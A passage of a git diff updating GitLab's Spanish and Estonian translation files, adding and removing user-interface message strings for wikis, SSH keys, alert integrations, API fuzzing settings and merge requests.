+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Escriba su contenido o arrastre archivos aquí…"
@@ -33865,9 +34695,6 @@ msgstr "Wikis"
msgid "Wiki|Create New Page"
msgstr "Crear una página nueva"
-msgid "Wiki|Create page"
-msgstr "Crear página"
-
msgid "Wiki|Created date"
msgstr "Fecha de creación"
@@ -33880,9 +34707,6 @@ msgstr "Nueva página"
msgid "Wiki|Page history"
msgstr "Historial de página"
-msgid "Wiki|Page title"
-msgstr "Título de la página"
-
msgid "Wiki|Page version"
msgstr "Versión de la página"
@@ -33943,6 +34767,9 @@ msgstr "Escriba un comentario o arrastre sus archivos aquí…"
msgid "Write a comment…"
msgstr "Escriba un comentario…"
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Escriba la descripción del hito..."
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr "Aún no tiene ninguna suscripción"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "No tiene permiso para dejar este %{namespaceType}."
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr "Todavía no ha agregado ninguna incidencia a su proyecto"
-
-msgid "You haven't selected any issues yet"
-msgstr "Todavía no ha seleccionado ninguna incidencia"
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "Dejó el \"%{membershipable_human_name}\" %{source_type}."
@@ -34402,7 +35229,7 @@ msgstr "Debe introducir su contraseña actual para poder cambiarla."
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr "Necesita la versión %{min_git_lfs_version} de git-lfs para continuar. P
msgid "You need permission."
msgstr "Necesitas permisos."
-msgid "You need to be logged in."
-msgstr "Es necesario haber iniciado una sesión."
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr "Actividad de sus proyectos"
msgid "Your Public Email will be displayed on your public profile."
msgstr "Su dirección de correo electrónico pública se mostrará en su perfil público."
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Sus Claves SSH (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "Su lista de tareas pendientes"
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr "Su licencia es válida desde"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr "Se ha eliminado la reunión de Zoom"
msgid "[No reason]"
msgstr "[No hay razón]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr "no se ha podido leer la clave privada, ¿La contraseña es correcta?"
msgid "created"
msgstr "creado"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr "creado el %{timeAgo}"
@@ -35415,6 +36260,9 @@ msgstr "ayuda"
msgid "http:"
msgstr "http:"
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://tu-servidor-bitbucket"
@@ -35585,7 +36433,7 @@ msgstr "iniciar sesión"
msgid "manual"
msgstr "manual"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr "%{commitCount} se añadirá a %{targetBranch}."
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 merge commit"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "Si el branch %{branch} existe en su repositorio local, puede hacer un merge de la solicitud de merge request manualmente utilizando la línea de comandos"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si el branch %{missingBranchName} existe en su repositorio local, puede hacer un merge de la solicitud de merge request manualmente utilizando la línea de comandos"
@@ -35893,18 +36735,12 @@ msgstr "Puede eliminar el branch de origen ahora"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Puede hacer merge de este merge request manualmente usando el"
-
msgid "mrWidget|Your password"
msgstr "Su contraseña"
msgid "mrWidget|branch does not exist."
msgstr "la rama no existe."
-msgid "mrWidget|command line"
-msgstr "línea de comandos"
-
msgid "mrWidget|into"
msgstr "en"
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "debe ser mayor que la fecha de inicio"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr "debe contener sólo entornos de trabajo válidos"
@@ -36004,15 +36837,6 @@ msgstr "a tiempo"
msgid "open issue"
msgstr "incidencia abierta"
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "abierto el %{timeAgoString} por %{user}"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr "abierto %{timeAgo}"
@@ -36290,9 +37114,6 @@ msgstr "¡Para ayudar a sus colaboradores a comunicarse de manera efectiva!"
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "para listar"
-
msgid "toggle collapse"
msgstr "Colapsar/Expandir"
@@ -36338,6 +37159,12 @@ msgstr "usuario"
msgid "v%{version} published %{timeAgo}"
msgstr "v%{version} publicada %{timeAgo}"
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "verificar el propietario"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index b1478efd706..5fb911efb07 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
